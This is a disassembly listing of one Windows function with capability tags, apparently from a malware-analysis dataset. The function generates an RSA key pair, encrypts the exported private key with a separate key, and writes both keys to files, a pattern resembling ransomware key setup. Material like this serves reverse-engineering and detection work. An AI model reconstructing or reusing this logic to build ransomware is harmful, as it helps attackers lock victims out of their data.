Function at 0x403470
Capabilities:
Encrypt or decrypt via wincrypt
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.GenKey
call fcn.00402d80
mov ebx, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
add esp, 4
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 0x140
push 8
push dword [0x43fb14]
call ebx
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x4034b2
push 0x43e0b8
push 0x8000001
push 1
push dword [0x43e0b4]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x40350d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.CryptGenKey_Faild__GetLastError___lu
call fcn.00402d80
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 7
push 0
push dword [0x43e0b8]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x403550
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.CryptExportPrivateKey1_Faild__GetLastError___lu
call fcn.00402d80
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x14]
add edi, 0x40
push edi
push 8
push dword [0x43fb14]
call ebx
mov esi, eax
mov dword [ebp - 0x2c], esi
test esi, esi
je 0x403556
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptExportKey]
lea eax, [ebp - 0x14]
push eax
push esi
push 0
push 7
push 0
push dword [0x43e0b8]
call ebx
mov edi, dword [ebp - 0x1c]
test eax, eax
jne 0x4035b1
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.CryptExportPrivateKey2_Faild__GetLastError___lu
call fcn.00402d80
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 6
push 0
push dword [0x43e0b8]
call ebx
test eax, eax
jne 0x4035f0
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.CryptExportKey1_Faild__GetLastError___lu
call fcn.00402d80
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
call fcn.00404b60
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x40361a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.PublicKeyBlob_memory_allocation_failed__GetLastError___lu
call fcn.00402d80
add esp, 8
xor ebx, ebx
jmp 0x403894
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push 6
push 0
push dword [0x43e0b8]
call ebx
test eax, eax
jne 0x40364c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.CryptExportKey2_Faild__GetLastError___lu
call fcn.00402d80
add esp, 8
xor ebx, ebx
jmp 0x403894
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push 0x43f790
call ebx
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x40369c
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push 0x43f408
call ebx
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x40369c
push str.Cannot_Create_PrivKey_File
call fcn.00402d80
add esp, 4
xor ebx, ebx
jmp 0x403894
xor ecx, ecx
mov dword [ebp - 0x24], ecx
nop dword [eax]
nop word [eax + eax]
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0x100
jae 0x4036d3
mov eax, dword [ebp - 0x18]
mov byte [eax + edi], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x100
jb 0x4036c0
mov dword [ebp - 0x18], 0
test ecx, ecx
jne 0x403713
cmp dword [ebp - 0x18], 0xec
jae 0x40370a
mov ebx, dword [ebp - 0x20]
nop word [eax + eax]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
add edx, esi
mov al, byte [edx + ebx]
mov byte [ecx + edi], al
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xec
jb 0x4036f0
mov dword [ebp - 8], 0xec
jmp 0x403741
cmp dword [ebp - 0x18], 0xea
jae 0x40373a
mov ebx, dword [ebp - 0x20]
nop
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
add edx, esi
mov al, byte [edx + ebx]
mov byte [ecx + edi], al
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xea
jb 0x403720
mov dword [ebp - 8], 0xea
push 0x100
lea eax, [ebp - 8]
push eax
push edi
push 0
push 1
push 0
push dword [0x4353f0]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x403877
push 0
xor ebx, ebx
lea eax, [ebp - 0xc]
cmp dword [ebp - 0x24], ebx
push eax
push dword [ebp - 8]
sete bl
push edi
push dword [ebp - 0x28]
lea ebx, [ebx*2 + 0xea]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x40385f
mov ecx, dword [ebp - 0x24]
add dword [ebp - 0x20], ebx
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 5
jl 0x4036b0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push 0x43fb18
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
test ebx, ebx
jne 0x4037f9
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push 0x43e0c8
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
test ebx, ebx
jne 0x4037f9
push str.Cannot_Create_PubKey_File
call fcn.00402d80
add esp, 4
jmp 0x403894
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x403828
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Cannot_Write_PubKey_To_File__GetLastError___lu
call fcn.00402d80
add esp, 8
xor ebx, ebx
jmp 0x403894
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x43e44c
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [0x43e0b4]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x40388f
push str.Import_PubKey_failed___n
call fcn.00402d80
add esp, 4
xor ebx, ebx
jmp 0x403894
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Cannot_Write_PrivKey_To_File__GetLastError___lu
call fcn.00402d80
add esp, 8
xor ebx, ebx
jmp 0x403894
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.EncryptKey_Faild__GetLastError___lu
call fcn.00402d80
add esp, 8
xor ebx, ebx
jmp 0x403894
mov ebx, 1
push dword [0x43e0b8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [ebp - 0x14]
mov eax, esi
test ecx, ecx
je 0x4038bb
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4038b0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, edx
test ecx, ecx
je 0x4038d2
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4038c7
mov ecx, 0x100
mov eax, edi
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4038e0
mov esi, dword [sym.imp.KERNEL32.DLL_HeapFree]
push edx
push ecx
push dword [0x43fb14]
call esi
push dword [ebp - 0x2c]
push 0
push dword [0x43fb14]
call esi
push edi
push 0
push dword [0x43fb14]
call esi
push str.return_GenKey
call fcn.00402d80
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, ebx
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret